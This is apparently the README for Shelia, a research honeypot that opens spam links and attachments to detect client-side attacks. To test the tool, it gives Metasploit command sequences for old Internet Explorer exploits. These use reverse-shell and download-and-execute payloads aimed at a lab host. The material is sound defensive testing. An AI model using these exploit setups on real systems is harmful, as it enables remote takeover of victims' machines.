Shelia ------ Shelia is an intrusion detection system for the client side. It is slightly more clever than many other client-side honeypots in that it tries to make sure that some suspect action (such as creating a file, or changing the registry) really is an attack, rather than a false positive. In addition, it contains a client emulator that tries to do what real users do: click on links, open attachments, etc. The client emulator simply scans through a mail folder specified on the command line. Typically, this would be the spam folder. In this folder the client emulator is capable of following every url and opening every attachment. While doing so, it will automatically start internet explorer, word, image viewers, etc. Shelia monitors the processes and generates alerts when the process attempts to execute an 'dangerous' operation (i.e., execute a call to change the registry, create files, or attempt specific network operations) from a memory area that is not supposed to be executable code. Shelia may even allow the attack to run until it downloads the malware, which it then tries to identify so you can analyse it (not unlike the download of malware offered by projects like Nepenthes). There is currently a bug: the -monitor option is not working (see the XXX note below) Shelia is available both in source code and as windows binaries from www.cs.vu.nl/~herbertb/misc/shelia. You will also find more detailed documentation there. It was tested with Windows XP and Windows2000. Contents -------- 1. How to get Shelia to run - What to configure and how - Some simple arguments explained. 2. Testing Shelia using metasploit - Some sample exploit and payload combinations and what they do - Ways to use them 3. Bug: capturing malware and the download_exec exploit - There is a problem with the download_exec payload and shelia's malware capture abilities 4. Tips/tricks/issues: failing exploits, snapshots & remote scripting - How to get rid of the remains of a previous attack - Also: how to script shelia access using vnc ---------------------------------------------------------------------- 1. How to get Shelia to run ---------------------------------------------------------------------- Preliminaries: -------------- On the windows machine - make sure to adapt the tcp/ip properties of the network settings (IP address, gateway, and dns) - turn off the firewall - turn of DEP (data execution protection) Turning off DEP once and for all is done by editing boot.ini: * Right-click My Computer, and then click Properties. * On the Advanced tab, click Settings under Startup and Recovery. * System Startup -> Edit. This opens the file in Notepad ready for editing. * Replace the /noexecute option by '/noexecute=alwaysoff' * Reboot You probably run the window image in a virtual machine like Qemu. Make sure that you set up networking properly. For instance, if you use qemu, you could set up networking using the tap interface. To do this stick something like the following in the file etc/qemu-ifup: #!/bin/sh sudo -p "Password for $0:" /sbin/ifconfig $1 172.20.0.1 Running shelia: ---------------- For a quick test, simply copy all files in directory CLIENT/exe (also available from http://www.cs.vu.nl/~herbertb/misc/shelia/shelia/CLIENT/exe/) to a directory on your Windows XP machine. In case you don't trust the binaries you may want to do this on a Qemu or vmware image. Note, however, that attacks tend to work on Qemu only if you enable the kernel accelerator (I have not tried vmware, but a colleague told me it 'just works'). Shelia works with OutlookExpress on at least Windows XP and Win2k. The easiest way to test it is to create a test email account (e.g., on gmail). Make sure to enable POP for the account and configure Outlook Express so that it uses this account. If you don't know how to do these things on gmail, see the Google's help pages on the subject. Now send a couple of spam messages to this account and make sure that the emails are downloaded automatically by OutlookExpress. Now cd to the directory where you copied the shelia binaries. In this directory, we can simply run the system as follows: client -sf "name of mail folder to check" -cl_containment The first -cl_containment option specifies a level of protection. It means that Shelia will not allow downloaded malware to be executed. You will probably want to use this option. The -sf option identifies the mailfolder. Note: type the name of the folder as shown in OutlookExpress, rather than the path of the corresponding file. For instance, you can use: client -sf Inbox -cl_containment or: client -sf "My Inbox" -cl_containment Now the client emulator will work through all the messages in the folder and follow every link using the default browser (e.g., IE). In addition, it will try to open all attachments with the corresponding applications. All applications are started using Shelia. As mentioned earlier, Shelia detects attacks by checking potentially suspect actions (changing registry, creating files or network connection). Specifically, it checks whether the code that tried to perform these actions was executing in the data segment. If so, this is flagged as an attack. You probably want to specify a timeout WT (in seconds) after which the applications (IE, Word, etc.) should be killed automatically (otherwise it will not make any progress). The assumption is that if there is no infection after WT seconds, there probably will not be an infection at all. For instance: client -sf Inbox -wt 15 -cl_containment Messages that have been checked will be moved to a 'destination' folder. By default this folder is called 'Processed' (but this is configurable). There are many other options, but this is enough to get you started. ---------------------------------------------------------------------- 3. Testing Shelia using metasploit ---------------------------------------------------------------------- Let us test Shelia using metasploit. For this purpose, we need to download the metasploit framework from www.metasploit.com. And get it to work. There are different interfaces you can use, including a GUI, but I will assume we use msfconsole. Example 1.a: ------------ We will now test shelia with the windows/browser/ms06_001_wmf_setabortproc vulnerability (Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution). This exploit does the following (text from metasploit description): This module exploits a vulnerability in the GDI library included with Windows XP and 2003. This vulnerability uses the 'Escape' metafile function to execute arbitrary code through the SetAbortProc procedure. This module generates a random WMF record stream for each request. In plain English: metasploit will pretend to be be a webserver with malicious content. We will then connect to it from our windows machine. If the machine is vulnerable, IE will be exploited and do whatever the payload is supposed to do. In our case, we will simply open a shell on the victim machine. To do this, we use the following commands in metasploit. use windows/browser/ms06_001_wmf_setabortproc set payload windows/shell_reverse_tcp set SRVHOST 172.20.0.1 set LHOST 172.20.0.1 set URIPATH attack.html exploit We have now set up a malicious server on 172.20.0.1 that is waiting for connections from vulnerable client browsers. If the client browser asks for the file attack.html, we will exploit it with the above mentioned exploit and use the remote shell payload, specified above. By default the port number is 8080 (and we have not changed the default). If we now point the browser on our victim machine to this IP address, port number and file, IE will be exploited. (Go on, give it a try if you feel like Haxor today!). However, we want to test Shelia, so manually typing in IP addresses is beneath us. What we do instead is send an email to the email account that we just created (e.g., on gmail) with the following content: Eat this: http://172.20.0.1:8080/attack.html If OutlookExpress is configured to download files automatically (e.g., checking every few minutes or so), the email will eventually show up in our Inbox. When Shelia subsequently checks this mailbox, it should follow the link by starting IE and (after some time) detect the attack. So we start up the Shelia client emulator as follows: client -sf Inbox -wt 40 -cl_containment Anyway, this is all there is to it. Run the above commands and you should see Shelia detecting the attack. Logs are generated in a log.txt file in the log directory (e.g., log1/). *** In case you want, for testing purposes, to run shelia directly, without any of the client emulation and Inbox ainteraction, you can do so by execting 'shelia' with the appropriate command line arguments. For instance (all in one line and assuming iexplore.exe is on the path): shelia -appl iexplore.exe -file http://127.0.0.1/attack.html -log log1 -wt 80 -cl_containment *** IMPORTANT: Most of the time you will want to run 'client' and 'shelia' with the option -cl_containment (to make sure no downloaded files are executed) and without option -monitor (which is currently not always working correctly). Example 1.b: ------------ Now let us see if we can also stop and monitor exploits that download and execute malware. For this you could try the following exploit/payload combination: use windows/browser/ms06_001_wmf_setabortproc set payload windows/download_exec set URL http://172.20.0.1/notepad.exe set SRVHOST 172.20.0.1 set LHOST 172.20.0.1 set URIPATH attack.html exploit The exploit in the above attack is the same as the one we saw earlier, but now we use the download_exec payload which will try download the malware from a webserver. This is the URL variable in metasploit. In this example, I use 'notepad.exe' as the 'malware' to download and execute. For this to work, you have to place notepad.exe in the webserver's directory. In my Ubuntu installation, this simply means placing it in /var/www/. Now run shelia (either directly, or by means of the 'client' emulator. Eventually, shelia will be executed anyway. Execute it with the following parameters: shelia -appl "C:\Program Files\Internet Explorer\IEXPLORE.EXE" -file http://172.20.0.1:8080/attack.html -wt 40 -log log0 -cl_containment Shelia will now: - report that an exploit is detected - say that an attempt to execute the downloaded file a.exe was detected and prevented (with full path, so you can easily find it) - report all actions, reads and writes in its log.txt file in the log0 directory. Great, so now we have the malware! Example 2: --------- We will now test shelia with the windows/browser/ms06_013_createtextrange vulnerability (Internet Explorer createTextRange() Code Execution). This exploit does the following (text from metasploit description): This module exploits a code execution vulnerability in Microsoft Internet Explorer. Both IE6 and IE7 (Beta 2) are vulnerable. It will corrupt memory in a way, which, under certain circumstances, can lead to an invalid/corrupt table pointer dereference. EIP will point to a very remote, non-existent memory location. This module is the result of merging three different exploit submissions and has only been reliably tested against Windows XP SP2. This vulnerability was independently discovered by multiple parties. The heap spray method used by this exploit was pioneered by Skylined. For instance, you could set the following in metasploit: use windows/browser/ms06_013_createtextrange set payload windows/shell_reverse_tcp set SRVHOST 172.20.0.1 set LHOST 172.20.0.1 set URIPATH attack.html exploit And then run Shelia. Make sure to set a long waiting time, as the exploit takes a long time to complete. client -sf Inbox -wt 400 Basically, in the web browser you will see a counter that will slowly increase until it reaches 100. Only then will the exploit be complete. Example 3 --------- Try the following in metasploit: use windows/browser/ms06_067_keyframe set payload windows/shell/reverse_tcp set SRVPORT 8080 set SRVHOST 172.20.0.1 set LPORT 4444 set LHOST 172.20.0.1 set URIPATH attack.html exploit on the client, it is the same procedure as before. Other exploits -------------- Some other exploits you may want to try: - Internet Explorer WebViewFolderIcon setSlice() Overflow (windows/browser/ms06_057_webview_setslice) - Internet Explorer VML Fill Method Execution (ie_vml_rectfill0 - Windows Metafile SetAbortProc Code Execution (ie_xp_pfv_metafile) - Apache Win32 Chunked encoding (apache_chunked_win32) - ms06_013_createtextrange (see below) ---------------------------------------------------------------------- 3. Bug: monitoring mode ---------------------------------------------------------------------- XXX NOTE: currently the option -monitor may create problems (such as lack of reports that an exploit is detected. Don't use it. ---------------------------------------------------------------------- 4. Tips/tricks/issues: failing exploits, snapshots & remote scripting ---------------------------------------------------------------------- Assuming you use Qemu, like I do, you can conveniently use the loadvm parameter to bring a machine that you killed back to a previous state *quickly* and without manual intervention. What you need to do is make sure the windows image is in qcow2 format (there is a 'qemu-img convert' command if it is not). Whenever you have reached a point where you are happy with configuration of windows, press CTRL-ALT-2, to drop into the Qemu monitor console and type: savevm shelia.vm When you restart the machine, you can instruct qemu to use the state that you just saved. For instance: sudo qemu -net nic -net tap -m 384 -localtime -hda winxp_qcow2.img -loadvm shelia.vm Now that is useful, but there may still be a problem. When we come back to the initial state, perhaps we don't want to return to the same state every single time. Instead we sometimes want to make make occasional snapshots and continue execution from the latest snapshots. Problem is: this needs to be managed from the host and normally requires interaction from the user. Fortunately, qemu has a built-in vnc server that allows you to connect to the machine remotely. For instance: sudo qemu -net nic -net tap -m 384 -localtime -hda winxp_qcow2.img -loadvm shelia.vm -vnc :1 starts qemu so that it can be controlled by a vnc viewer such as vncviewer as follows: vncviewer localhost:1.0 Moreover, you are now able to script the control from the host (or indeed a remote machine). For instance, you use something like vncrobot (http://www.vncrobot.com/) to write a script that force qemu to switch to monitor mode, execute a savevm, and so on. Vncrobot seemed fairly convenient, but I am sure there are others that do something similar. Have fun, HJB